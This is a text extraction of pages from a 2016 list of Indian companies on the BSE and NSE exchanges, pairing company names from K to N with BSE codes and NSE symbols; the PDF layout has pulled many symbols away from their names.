KCTextiles

502920

KDTrendWear

780010

KDhandapani&Co

530395

KECIntl.

532714

KEWInds.

532758

KGDenim

500239

KGDENIM

KJIntl.

519548

KJINTL

KKFincorp

503669

KPRMillLtd

532889

KRMIntl.

526055

KSOils

526209

KZLeasing

511728

KLifestyle

514221

K.P.Energy

539686

KaashyapTech.

532283

KabraAgroInds.

519010

KabraCommercial

539393

KabraDrugs

524322

KabraExtrusion

524109

KabsonsInds.

524675

http://www.marketonmobile.com/search.php

JUPITER

JYOTHYLAB

JYOTISTRUC

KEC

KPRMILL
KSOILS
SHREEKRPOL

KABRAEXTRU

50/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
KachchhMinerals

531778

KailashAutoFin

511357

KairaCan

504840

KaiserCorporat.

531780

KajalSyn&Silk

512147

KajariaCeramics

500233

KAJARIACER

KakatiyaCement

500234

KAKATCEM

KakatiyaTextile

521054

KalindeeRail

522259

KallamSpinning

530201

KalpaCommer.

539014

KalpataruPower

522287

KalpavrikshaInd

509034

KalptaruPapers

590036

KalyaniForge

513509

KALYANIFRG

KalyaniInvest.

533302

KICL

KalyaniRefiner.

526809

KalyaniSteels

500235

KalyanpurCement

502150

KamaHold.

532468

KamadgiriFash.

514322

KamalOverseas

531850

KamalaTea

530529

KamanwalaHousin

511131

KamarChemicals

531001

KamatHotels

526668

KAMATHOTEL

Kamdhenu

532741

KAMDHENU

KampaniConsult.

508853

KamperConcast

531475

KamronLabs.

524604

KanakKrishi

780003

KanakdharaSteel

513267

KANAKSTEEL

KananiInds.

506184

KANANIIND

KanchanIntl.

530165

KanchiKarpooram

538896

KancoEnterp.

590084

KancoTea

590130

KandagiriSpinng

521242

KandhariRubbers

530603

KanelIndust.

500236

KanikaInfra.

532367

KanishkSteel

513456

KanoriaChem.

506525

KanoriaPlaschem

530847

KanpurPlastipa.

507779

KansaiNerolac

500165

KansalFibres

531205

KapashiCommerc.

512399

KapilCotex

512036

KapilRajFinanc

539679

KappacPharma

506938

KaprinasPharma.

530147

KarMobiles

590053

KaranFinance

530277

http://www.marketonmobile.com/search.php

KALINDEE

KALPATPOWR

KSL

KAMALOVER

KAMPERCONC

KANDAGIRI
KANELOIL

KANORICHEM

KANSAINER

51/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
KareemsSilk

503830

KareemsSpun

514294

KarmaEner.

533451

KarmaIndus.

512585

KarnatakaBank

532652

KarnavatiAlfa

526451

KARNAVATIFIN.

538928

KarnavatiSpin.

531113

KarnimataCold

537784

KartavyaUdyog

539304

KartikInvest.

501151

KarurKCPPack.

531363

KARURKCP

KarurVysyaBank

590003

KARURVYSYA

KaruturiGlobal

531687

KGL

KashipurSugar

502512

KashiramJain&Co

539533

KashyapTeleMed.

531960

KatareSpinning

502933

KausambiVanijya

538295

KaushalyaInfra.

532925

KAUSHALYA

KaveriSeedCo.

532899

KSCL

KaviniIspat

513494

KavitIndustries

524444

KavitaFabrics

535136

KavveriTelecom

590041

KayPower&Paper

530255

KayaLtd

539276

KayceeInds.

504084

KayelSecurities

539562

KayteeCotsynth

512401

KBSIndia

530357

KCCLPlastic

526067

KCLInfra

531784

KCPSugar&Inds.

533192

KCPSUGIND

KDDLLtd

532054

KDDL

KDJHoliday

530701

KDLBiotech

532291

KediaAggloMarb

515071

KediaChemical

524701

KediaConstruct

508993

KediaInfotech

531976

KeerthiIndus

518011

KEIInds.

517569

KEI

KelltonTech

519602

KELLTONTEC

KeltechEnergies

506528

KelvinFincap

512113

KemistarCorp.

531163

Kemp&Co.

506530

KemrockInds.

526015

KENFin.Serv.

530547

Kengold(India)

519546

KennametalIndia

505890

KeraSinter

515004

KeralaAyurveda

530163

http://www.marketonmobile.com/search.php

KARMAENG
KTKBANK

KAVVERITEL
KAYA

KOPDRUGS

KEMROCK

WIDIA

52/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
KeralaRubber

509180

KernexMicrosys.

532686

KERNEX

KesarEnterprise

507180

KESARENT

KesarPetroprod.

524174

KesarTerminals

533289

KTIL

KesoramInds.

502937

KESORAMIND

KewalKir.Cloth.

532732

KKCL

KeyCorp

507948

KeynoteCorp.

512597

KEYCORPSER

KFAirlines

532747

KFA

KGPetrochem

531609

KGNAgroIntl.

531947

KGNEnterprises

533790

KGNIndustries

531612

Khaitan(India)

590068

KhaitanChemical

507794

KhaitanElect.

504269

KhandelwalExtra

519064

KhandelwalHerm.

504087

KhandwalaSec.

531892

KhatauMakanji

502943

KhatorFibre

521127

KhemaniDistrib.

539788

KhemsonsGlobal

531116

KhodayIndia

507435

KhoobsuratLtd

535730

KhyatiMultimed.

531692

KICMetaliks

513693

KidujaIndia

507946

KIEVFinance

511547

KIFSFinancial

535566

KilburnChemical

524699

KilburnEngg.

522101

KilburnOff.Aut

523218

KilitchDrugs

524500

KillickNixon

501316

KilpestIndia

532067

KineticEngg.

500240

KINETICENG

KineticMotorCo

505190

KINETICMOT

KineticTrust

531274

KingfaScience

524019

KingsInd.Chem.

524214

KingsInfra

530215

KiranPrintPack

531413

KiranSyntex

530443

KiranVyapar

537750

KiriIndus.

532967

KIRIINDUS

Kirl.Brothers

500241

KIRLOSBROS

Kirl.Electric

533193

KECL

Kirl.Ferrous

500245

KIRLOSFERR

Kirl.Inv.&Fin

511274

Kirl.Multimedia

532352

Kirl.Bros.Inv.

533297

KBIL

Kirl.Pneumatic

505283

KGKHOSLA

http://www.marketonmobile.com/search.php

KHAITANLTD
KHAITANELE

KHANDSE

KILBUNENGG
KILITCH

HYDROS&S

53/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
KirloskarIndus.

500243

KIRLOSIND

KirloskarOil

533293

KIRLOSENG

KisanMouldings

530145

KitexGarments

521248

KITEX

KitplyInds.

502595

KITPLYIND

KJMCCorporate

532304

KJMCFinancial

530235

KKalpanaInds.

526409

KkalpanaPlastic

523652

KLGCapital

530771

KLGSystel

531269

KLKElectrical

517170

KLRFLtd

507598

KMCapital

530327

KMSugarMills

532673

KMCSpeciality

524520

KMFBuilders

531578

KMGMilk

519415

KNDEngg.Techno.

522189

KnitworthExport

531587

KNRConstruct.

532942

KoaToolsIndia

517471

KoffeeBreak

531602

KohinoorBroad.

531366

KohinoorFoods

512559

KohinoorTechno

519485

KokuyoCamlin

523207

KolarBiotech

532148

KoltePatilDev.

532924

KolutharaExport

526261

KonarkSynth

514128

KongararInteg.

514436

KonkanTyres

526379

Kopran

524280

KOPRAN

KoreFoods

500458

PHILCORP

KotakBankETF

532224

KOTAKBKETF

KotakGoldETF

590097

KOTAKGOLD

KotakMah.Bank

500247

KOTAKBANK

KotakNiftyETF

537708

KOTAKNIFTY

KotakNiftyETF

590112

KOTAKNIFTY

KotakNV20ETF

532598

KOTAKNV20

KotakPSUBank

590107

KOTAKPSUBK

KotakSensexETF

532985

KothariFerment.

507474

KothariGlobal

519176

KothariIndl

509732

KOTHARINDL

KothariPetroche

532096

KOTHARIPET

KothariProducts

530299

KOTHARIPRO

KothariSugars

507190

KOTARISUG

KothariWrldFin

511138

KoutonsRetail

532901

KOUTONS

KovaiMedical

523323

KOVAI

KovalamInvestm.

505585

KPITTech.

532400

http://www.marketonmobile.com/search.php

KJMCFIN

KLGSYSTEL
KLRF
KMSUGAR

KNDENGTECH
KNRCON

KOHINOOR
KOKUYOCMLN
KOLTEPATIL

KPIT

54/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
KratosEnergy

501261

KRBL

530813

KRBL

KrebsBiochem

524518

KREBSBIO

KreonFinnancial

530139

KridhanInfra

533482

KriptolInds

526753

KrishanaFabrics

539446

KrishnaCapital

539384

KrishnaEngg.

522173

KrishnaFerro

513627

KrishnaSynth

514404

KrishnaVent.

504392

KrisonsElectron

517383

KritiInds.

526423

KritiNutrients

533210

KryptonInds.

523550

KSBPumps

500249

KSBPUMPS

KSE

519421

KSE

KshitijInvest.

503626

KSKEnergyVen.

532997

KSLandIndus

530149

KSS

532081

KuantumPapers

532937

KuberAutoGen.

511762

KuberFloritech

531021

KuberUdyog

539408

KulkarniPower

505299

KumakaInds.

526923

KumarWireCloth

513703

Kumar'sCotex

530325

KumbhatFin.

526869

KunalOverseas

530279

KunststoffInds.

523594

KusamElectr.

511048

KushalDiamonds

523337

KushalTradelink

536170

KusumAgrotech

519409

KusumIron

513625

KutchSalt

506540

KuwerInds.

530421

Kwality

531882

KwalityCredit

531206

KyraLandscapes

530967

LDTextileInds

502954

LDTEXT

LGBalakrishnan

500250

LGBBROSLTD

LTFoods

532783

DAAWAT

L&TFin.Holdings

533519

L&TFH

LaOpalaRG

526947

LAOPALA

LaTimMetal&I

505693

LabhConstrn.

530339

Lactose(India)

524202

LadderupFinance

530577

LaffansPetroch

524522

LahotiOverseas

531842

http://www.marketonmobile.com/search.php

KRIDHANINF

KRISHNAENG

KRITIIND

KSK
KSERASERA

ASHOKORG

KWALITY

LABHCONST

55/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Lak.Auto.Looms

505302

Lak.Cem.&Cer.

518073

Lak.Electrical

504258

LAKSELECON

Lak.Fin.&Indl

532562

LFIC

Lak.Fin.&Indl

531040

LAKSHMIFIN

Lak.Mach.Works

500252

LAXMIMACH

Lak.Prec.Screw

506079

LAKPRE

Lak.TradeCred.

512537

Lak.VilasBank

534690

LAKSHVILAS

Lak.VilasBank

590069

LAKSHVILAS

LakhaniIndia

531085

LakhotiaPoly.

535387

LakshanaCotton

521157

LakshmiEnergy

519570

LAKSHMIEFL

LakshmiMills

502958

LAKSHMIMIL

LalitPolymers

524250

LambodharaText.

590075

LAMBODHARA

LanEsedaInds.

523407

LANESEDA

LancerContaine.

539841

LancoInfratech

532778

LancorHoldings

509048

LandmarcLeisur.

532275

LandmarkProp.

533012

LanyardFoods

531705

LariteInds.

512325

Larsen&Toubro

500510

LaserDiamond

531164

LaurelOrganics

530313

LawaCoatedPaper

523730

LawreshwarPoly.

532829

LaxmiGranites

515129

LaxmiVishnuTex

502955

LCCInfotech

532019

LeWaterina

531134

LeadFinancialS

531288

LeafinIndia

511214

LearningEdge

780005

LedoTea

508306

Lee&NeeSoft.

517415

LeenaConsultant

509046

LeenaTextiles

521198

LegacyMercantil

780021

LeshaInds.

533602

LGBForge

533007

LiberalFinlease

531103

LibertyPhosphat

530273

LibertyShoes

526596

LibordFin.

511593

LibordSec.

531027

LICETFNIFTY50

539480

LICNETFN50

LICETFNIFTY100

539784

LICNFNHGP

LICETFSENSEX

539487

LICNETFSEN

LICHousingFin.

500253

LICHSGFIN

LICNomGSecETF

532530

LICNETFGSC

http://www.marketonmobile.com/search.php

LITL

LPDC

LT

LCCINFOTEC

LEENATEX

LGBFORGE

LIBERTSHOE

56/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
LifelineInjects

523379

LimeChemicals

507759

LinaksMicroelct

517463

LincPen&Plast.

531241

LINCPEN

LincolnPharma.

531633

LINCOLN

LindeIndia

523457

LINDEINDIA

LinearInds

524103

LinkHouseInds.

512349

LinkPharmaChem

524748

LinksonIntl.

508982

LintasMercant.

531510

LippiSystems

526604

LiverpoolFin

531756

LKPFinance

507912

LKPMERFIN

LloydElectric

517518

LLOYDELENG

LloydRockFibre

531527

LloydsFinance

507870

LLOYDFIN

LloydsMetals

512455

LLOYDMETAL

LML

500255

LML

LNIndustries

530745

LohiaPolyester

514203

LohiaSecurities

590082

LokHousing

500256

LOKHSG

LokeshMach.

532740

LOKESHMACH

LongviewTea

526568

LooksHealth

534422

LordsChemicals

530039

LordsChloro

500284

LordsIshwar

530065

LotusChocolate

523475

LotusEyeCare

532998

LOTUSEYE

LovableLingerie

533343

LOVABLE

LoyalEquipments

539227

LoyalTextile

514036

LSIndustries

514446

LudlowJute

526179

LuharukaMedia

512048

LumaxAutoTech.

532796

LUMAXTECH

LumaxAuto.Sys.

532537

LUMAXAUTO

LumaxInds.

517206

LUMAXIND

LuminaireTech.

526045

STRAUSIND

Lupin

500257

LUPIN

LustreTiles

508857

LuxIndustries

539542

LUXIND

LuxIndustries

532596

LUXIND

LWSKnitwear

531402

LycosInternet

532368

LYCOS

LykaLabs

500259

LYKALABS

Lykis

530689

LynxMachinery

505320

LyonsCorporate

531441

LypsaGems

534532

LYPSAGEMS

M&M

500520

M&M

M&MFin.Serv.

532720

M&MFIN

http://www.marketonmobile.com/search.php

MODIALKALI

57/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MBParikhFins.

526935

METS

538401

MKEximIndia

538890

MKEximIndia

590060

MMForgings

522241

MMRubber

509196

MPAgroInds.

506543

MPTelelinks

531326

MROrganisation

532128

MRO

MRPL

500109

MRPL

MSSecurities

531039

MTNL

500108

MTNL

MUSCO

504823

MAHINDUGIN

M.D.Inducto

539226

M3GlobalFinanc

538772

MaaJagdambe

511082

MaaLeafin

531792

MaanAluminium

532906

MAANALU

MaarsSoft.Intl.

531528

MAARSOFTW

MacCharles(I)

507836

MachinoPlastics

523248

MackTradingCo

501471

MackinnonMacken

501874

MacroIntl.

512600

MadalsaIntl.

514173

MadhavInfra

539894

MadhavMarbles

515093

MadhubanConstr.

780009

MadhuconProj.

531497

MadhurCap.&Fin

511638

MadhurInds

519279

MADHURFOOD

MadhusudanInds.

515059

MADSUDIND

MadhusudanSec.

511000

MadrasFert.

590134

MADRASFERT

MadrasFert.

532168

MADRASFERT

MadrasHiTech

517304

MadrasMotorFin

511055

MadrasPetrochem

500261

MaegawareComp.

517017

MaestrosMedi.

501209

MafatlalDyes

501458

MafatlalInds.

500264

MaganIndustries

530411

MagmaFincorp

524000

MagnaColours

524270

MagnaElectrocas

517449

MagnaInds.

523872

MagnanimousTrad

512377

Magnum

530347

MagnumVentures

532896

MagnusRubber

523882

Mah.Corporation

505523

Mah.Elektrosm.

504824

Mah.Polybutenes

524232

http://www.marketonmobile.com/search.php

MMFL

MADHAV
MADHUCON

MADRASMFIN

MAFATLAIND
MAGMA

MAGNUM

58/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Mah.Scooters

500266

MAHSCOOTER

Mah.Seamless

500265

MAHSEAMLES

MahaRashtraApx

523384

MAHAPEXLTD

Maha.ShreeUmaid

530059

MahaanFoods

519612

MahabirMetallex

539041

MahadushiIntl.

537838

MahaganeshTexpr

521139

MahalaxmiRubtec

514450

MahalaxmiSeam.

513460

MahamayaSteel

513554

MahanInds.

531515

Mahanivesh(I)

530441

MahasagarTravel

526795

MahashreeTrdg.

512337

MahaveerCotts

532576

MahaveerInfoway

590117

MahaveerInfoway

539383

MahavirAdvanced

531689

MahavirImpex

531664

MahavirIndust.

531648

MahendraCements

518079

MahendraPetroch

514160

MAHENDSUIT

MahindraCIE

532756

MAHINDCIE

MahindraComp

524138

MahindraHoliday

533088

MHRIL

MahindraLife.

532313

MAHLIFE

MaithanAlloys

590078

MAITHANALL

Majesco

539289

MAJESCO

MajesticAuto

500267

MAJESAUTO

MajesticInds

526857

MAJESTIND

MajesticResearc

539229

MakanAgroOils

519246

MakersLabs.

506919

MalabarTrading

501473

MalanpurStee

500448

MalhotraSteel

513601

Mallcom(India)

539400

MaluPaper

532728

MalvicaEngg.

532048

MalvikaSteel

530645

MalwaCottonSpg

502995

MALWACOTT

ManInds.

513269

MANINDS

ManInfra

533169

MANINFRA

Manaksia

532932

MANAKSIA

ManaksiaAlumi.

539045

MANAKALUCO

ManaksiaCoated

539046

MANAKCOAT

ManaksiaIndus.

539043

MANAKINDST

ManaksiaSteels

539044

MANAKSTEEL

ManaliPetrochem

500268

MANALIPETC

ManappuramFin.

531213

MANAPPURAM

ManavPharma

524390

MandhanaIndus

533204

MangalCredit

505850

http://www.marketonmobile.com/search.php

MCSL

HINDEVELOP

MALUPAPER

MANDHANA

59/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MangalamCement

502157

MANGLMCEM

MangalamDrugs

532637

MANGALAM

MangalamIndustr

537800

MangalamOrganic

514418

MANGALAMSEEDS

539275

MangalamTimber

516007

MangalamVenture

514492

MangaloreChem.

530011

MangalwedheSun

523834

MangalyaSoft.

530243

ManipalFin.Cor

507938

ManiyarPlast

526321

ManjeeraConstr.

533078

MANJEERA

ManjushreeTech.

532950

MANJUSHREE

MannaGlassTech

531801

ManorEstates

526115

ManorFloatel

526867

ManpasandBever.

539207

ManrajHsg.Fin.

530537

MansarovarPaper

532208

MansiFin.(Chen)

511758

MansinghkaOil

519189

MansoonTrading

512303

ManugraphIndia

505324

ManvijayDevelop

538970

MapleCircuits

523256

MaplleInfra

531200

MaproIndustries

509762

MaralOverseas

521018

Marath.Refra.

502250

MarathonNextgen

503101

MardiaExtrusion

530113

MardiaSamyoung

513544

Marg

530543

MargProj.&Inf.

513648

MargoFinance

500206

Marico

531642

MARICO

MaricoKaya

538503

MAKE

MarineCargoCo

526163

MarisSpinners

531503

MarkOmegaOrg.

524681

MarketCreators

526891

MarksansPharma

524404

MarmagoaSteel

513355

Marsons

517467

MartinBurn

523566

MarutiInfra.

531540

MarutiOrganics

524402

MarutiSec.

531319

MarutiSuzuki

532500

Marutitelst.Ind

522223

MarvelInds.

532073

MarvelVinyls

531394

MarvelWebSoln

530497

http://www.marketonmobile.com/search.php

MANGTIMBER
MANGCHEFER

MANPASAND

MANUGRAPH

MARALOVER

MARG

MARKSANS

MARUTIORNG
MARUTI

60/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MasconGlobal

531131

Mastek

523704

MasterChemicals

506867

MasterTrust

511768

MathewEasowRes

511688

MatraKaushal

526671

MatraRealty

512167

MauriaUdyog

539219

MavensBiotech

590083

MaviIndustries

500248

KRISNAFILA

MawanaSugars

523371

MAWANASUG

MaxAlert

534563

MaxFinancial

500271

MaxHeights

534338

MaximaaSystems

526538

MaxwellInds.

532613

MayaAgroProd.

519419

MayaRasayan

524770

MayaSpinners

514250

MayankHotels

526693

MayukhDealtrade

539519

MayurFloorings

531221

MayurLeather

531680

MayurUniquote

522249

Mazda

523792

MazdaEnterprise

523172

MazdaInds.

511045

MazdaProperties

523197

MazdaTextile

514103

MBLInfrast

533152

MBM

517139

MCCInvest.

531725

McDowellHold.

532852

MCDHOLDING

McleodRussel

532654

MCLEODRUSS

McNallyBharat

532629

MBECL

MCS

523221

MediCaps

523144

MEDICAPS

MediaMatrix

512267

MMWL

MediaoneGlobal

503685

MedicamenBiotec

531146

MedinovaDiagno.

526301

MeenakshiEnter.

538834

MeenakshiSteel

512505

MefcomCapital

531176

MegaCorp.

531417

MegaFin(India)

532105

MegaNirman

539767

Megasoft

532408

MeghMayurInfra

509003

MeghmaniOrgan.

532865

MeglonInfra

511367

MegriSoft

539012

MehtaHousg.Fin

511740

MehtaIntegrat.

511377

http://www.marketonmobile.com/search.php

MASTEK

MFSL

MAXWELL

MAYURUNIQ

MAZDALEASE

MBLINFRA

MEGASOFT
MEGH

61/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MehtaRubberCh

526536

MehtaSecurities

511738

MehtaSulfites

530029

MelstarInfo.

532307

MELSTAR

MenonBearings

523828

MENONBE

MenonPistons

531727

MEPInfrast.

539126

MercantileVent.

538942

Mercator

526235

MERCATOR

Merck

500126

MERCK

MercuryLabs

538964

MercuryMetals

531357

MercuryTradeLn

512415

MescoPharma

500274

MetalBoxIndia

504838

MetalCoatings

531810

MetalmanInds.

513131

METALPIPE

MetalystForg.

513335

METALFORGE

MetkoreAlloys

532990

METKORE

MetrochemInds.

524683

METROCHEM

Metroglobal

500159

GLOBABOARD

MetropoliOverse

514456

MeuseKara

512253

MewarPolytex

531236

MewatZinc

513496

MFG

1166

MFLIndia

526622

MFSIntercorp

513721

MHMills&Inds

514242

MICElectronics

532850

MICEXIndex

1142

MicroAcc.India

523311

MicroEnergy(I)

517483

MicroForge(I)

522298

MicroInks

523886

MICRO

MicroPlantae

500276

MICROPLANT

MicroTechno.

532494

MICROTECH

MicroseIndia

523343

MicrosecFin

533259

MidEastPort.

526251

MidIndiaInds.

500277

MidasInfraTra.

531192

MidfieldIndus.

533220

MidlandPlastics

523698

MidlandPolymers

531597

MidvalleyEnter

533310

MidwestGold

526570

MIGMediaNeuron

532579

MihijamVanasp

519481

MihikaIndust.

538895

MikadoTextile

514213

MilestoneGlob.

531338

MILGREYFIN.&INV

511018

MilkPartners

519335

http://www.marketonmobile.com/search.php

MEP

MESCOPHARM

MIC

MICROSEC
MIDINDIA

MMNL

62/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MilkSpecialitie

519403

Milkfood

507621

Millen.Online

511187

Millenium.Cyber.

531942

MillenniumBeer

521147

MinalIndus.

522235

MinaxiTextiles

531456

MindaCorp

538962

MINDACORP

MindaCorp

500479

MINDACORP

MindaFinance

539303

MindaInds.

532539

Mindteck(India)

517344

Mindtree

532819

MindvisionCap.

530955

MiniDiamonds(I)

523373

MiniSoft

523382

MinoltaFinance

532164

MintageElectro

517340

MipcoSeamlRing

505797

MIRCElectronics

500279

MirchTech.

505336

MirzaInternatio

526642

MishkaExim

539220

MishkaFinance

512191

MishtannFoods

539594

MitconConsult.

515508

MitsugenGlazes

515073

MivenMach.Tool

522036

mkAromatics

531011

MLGIndustries

513619

MMSInfra.

538400

MMTC

513377

MobileTelecom.

532127

ModelFinancial

530877

ModellaWoollens

503772

ModernCement

518081

ModernConverter

539762

ModernDairies

519287

ModernDenim

500451

ModernIndia

503015

ModernInsulator

515008

MODINSULAT

ModernMalleable

517336

MODERNMAL

ModernShares

509760

ModernSteel

513303

ModernSyntex

500281

MODRNSYNTX

ModernTerryTow

500283

MODERNWOOL

ModexIntl.Sec.

537092

ModiInds.

507210

ModiNaturals

519003

ModiRubber

500890

MODIRUBBER

ModiTeleFibres

523375

MODITHREAD

ModiUdyogLtd

539007

Modipon

503776

ModisonMetals

506261

http://www.marketonmobile.com/search.php

INERTIAIND

MINDAIND
MINDTREE

MIRCELECTR
MIRZAINT

MITCON

MMTC

MODERNDENM

MODIPON

63/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Modistone

509117

Moh

532089

MohanMeakin

590039

Mohatta&Heckel

504844

MohiniFibers

532585

MOHINI

MohitInds.

531453

MOHITIND

MohitPaper

530169

MohiteInd.

532140

MOIL

533286

MOIL

MoldTekPack.

533080

MOLDTKPAC

MoldTekTechnol

526263

MOLDPLAST

MomaiApparels

532520

MOMAI

MonalisaInfotec

530551

MonarchNetworth

511551

MonatanaIntl.

515121

MoneshiAgro

519417

MoneyMasters

535910

MoneycareFinanz

511511

MonicaElectroni

523544

MonnetInds.

532078

MonnetIspat

513446

MonnetProject

532723

MonotypeIndia

505343

MonozymeIndia

522199

MonsantoIndia

524084

MONSANTO

MontariInds.

500286

MONTARIND

MontariLeather

526337

MonteCarloFas.

538836

MoonbeamInds.

530033

MoongipaCapital

530167

MoongipaSec.

539199

MorarjeeText.

532621

MorarkaFinance

511549

MorepenLabs.

500288

MorganInds.

523564

MorganVentures

526237

MorganiteCrucib

523160

MorindaOverseas

531973

MoryoIndustries

513305

MoschipSemicon.

532407

MoserBaer(I)

517140

MOSERBAER

MOStGoldETF

534185

MGOLD

MOStM50ETF

590115

M50

MOstShar.NASDAQ

533385

N100

MOstSharesM100

536960

M100

MOstSharesM100

530968

M100

MotherMiraInds

530083

Mothercare(India

523238

MothersonSumi

517334

MOTHERSUMI

Motil.Oswal.Fin.

532892

MOTILALOFS

Motor&GenFin

501343

MOTOGENFIN

MotorolSpecOil

506954

MoulikFin.&Res.

530893

MountEverest

531096

http://www.marketonmobile.com/search.php

MONICAELEC
MONNETISPA

MONTECARLO

MORARJEE
MOREPENLAB

64/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MountShivalik

507522

MovilexIrrigatn

526411

MovingPicture

590011

MPFSystems

532470

MphasiS

526299

MPHASIS

MPILCorporation

500450

MATHPLATT

MPLPlastics

526143

MILTONPLAS

MPS

532440

MPSLTD

MRF

500290

MRF

MrinalDyeing

500291

MARINALDYE

MROTEK

532376

MROTEK

MrugeshTrading

512065

MSLInds.

513242

MSLIND

MSPSteel&Pow.

532650

MSPL

MSRIndia

508922

MTEducare

534312

MTEDUCARE

MTZIndustries

500275

METAZINC

MTZPolyfilms

512424

MuditFinlease

531919

MudraFinSer

539819

Mukand

500460

MUKANDLTD

MukandEngineers

532097

MUKANDENGG

MukatPipes

523832

MUKATPIPE

MukerianPaper

516068

MUKERPAPER

MukeshBabuFin.

530341

MukeshSteels

513265

MukeshStrips

517374

MuktaAgricultur

535204

MuktaArts

532357

MukundSyntex

514364

MukundaIndl.Fin

530329

Muller&Phipps

501477

MultiArcIndia

513685

MULTIARC

MultiComm.Exc.

534091

MCX

MultibaseIndia

526169

MulticolourOff

526387

MultiplusHold.

505594

MultipurposeTrd

504356

MunakChemicals

506906

MunisForge

532079

MunjalAutoInds

520059

MUNJALAU

MunjalShowa

520043

MUNJALSHOW

MunothCapital

511200

MunothCommun.

511401

MunothFin.Serv.

531821

MurablackIndia

523578

MURABLACK

MurliIndustries

519323

MURLIIND

MurudeshCeramic

515037

MURUDCERA

MurugappaHoldin

508184

PARRYAGRO

MuthootCap.Serv

511766

MUTHOOTCAP

MuthootFinance

533398

MUTHOOTFIN

MVCotspin

531286

MVL

532991

MWUnitexx

532442

http://www.marketonmobile.com/search.php

MUKTAARTS

MVL

65/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
MyMoneySec.

538862

MylanLab.

524794

MYMTechnologies

531843

MysorePaper

502405

MysorePetro

506734

MysticElectron.

535205

NDMetalInds.

512024

NGInds.

530897

NKInds.

519494

NRAgarwalInds

516082

N2NTechnologies

512279

NachmoKnitex

514328

Nag.AgriTech.

531832

Nag.Agrichem

524709

Nag.Drugs

530064

Nag.Fert&Chem

500075

NAGARFERT

Nag.Finance

506129

NAGARJUFIN

Nag.Granites

526279

Nag.JiyoInds

519426

Nagar.OilRefin.

534184

NagpurPower

532362

NagreekaCap.

532895

NAGREEKCAP

NagreekaExports

521109

NAGREEKEXP

NaharCapital

532952

NAHARCAP

NaharIndl.Ent.

519136

NAHARINDUS

NaharPoly

523391

NAHARPOLY

NaharSpinning

500296

NAHARSPING

NainaSemicond.

526831

NaisargikAgri.

531365

Nakoda

521030

NakshatraInfra.

530375

NalinLeaseFin.

531212

NalwaSonsInvst

532256

NamSecurities

538395

NamasteExports

526059

NAMASTEXP

NamtechElectron

517269

NAMTECHELE

NandanDenim

532641

NDL

NaraingarhSugar

531457

NarangInds.

523317

NarayanaHrudaya

539551

NarbadaGems

519455

NardhanaInfra.

513611

NarendraProp.

531416

NarimanPt.Chem

524224

NarmadaGelatine

526739

NarmadaMacplast

517431

NatcoEconomical

539595

NatcoPharma

524816

NatcoPolyplast

526743

NathBioGenes

537291

NATHBIOGEN

NathPulp&Pap

502407

NATHPULP

NationalFitting

531289

NationalPlastic

531287

NationalStandar

504882

http://www.marketonmobile.com/search.php

MATRIXLABS

MYSORPETRO

NKIND

NAGAROIL

NAKODA

NSIL

NH

SHAWGELTIN

NATCOPHARM

66/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Natl.Aluminium

532234

Natl.AutoAcces

520069

Natl.FlaskInds

531903

Natl.Gen.Inds.

531651

Natl.Oxygen

507813

NOL

Natl.Peroxide

500298

NATPEROXID

Natl.Plastic

526616

Natl.Plywood

516062

Natl.Steel&Agro

513179

Natl.Switchgear

517199

Natl.WindPower

531077

NEPCPAPER

Natl.Fertilizer

523630

NFL

NatrajProteins

530119

NaturaHueChem

531834

NaturalCapsules

524654

NaturalExpoAg.

530671

NaturalStone

513638

NaturalVanaspat

519045

NaturiteAgro

538926

NavaBharatVent

513023

NavalTechnoplas

532014

NavcomInds.

519200

NaveenTextiles

526889

NavigantCorp.

539521

NavinFluo.Intl.

532504

NavkarBuilders

531494

NavkarCorporat.

539332

NavketanMerchan

539525

NavneetEducat.

508989

NayagaraPaper

516044

NaysaaSecuri.

538668

NBFootwear

523242

NBCC

534309

NBCC

NCC

500294

NCC

NCCBlueWater

519506

NCCFinance

531452

NCLInds.

502168

NClRes.&Finl.

530557

NDASecurities

511535

NDTV

532529

NDTV

NectarLifesci.

532649

NECLIFE

NeelamalaiAgro

508670

NeelkanthMotel

526391

NeelkanthRock

531049

NeelkanthTech

530697

NeerajPaperMkt

539409

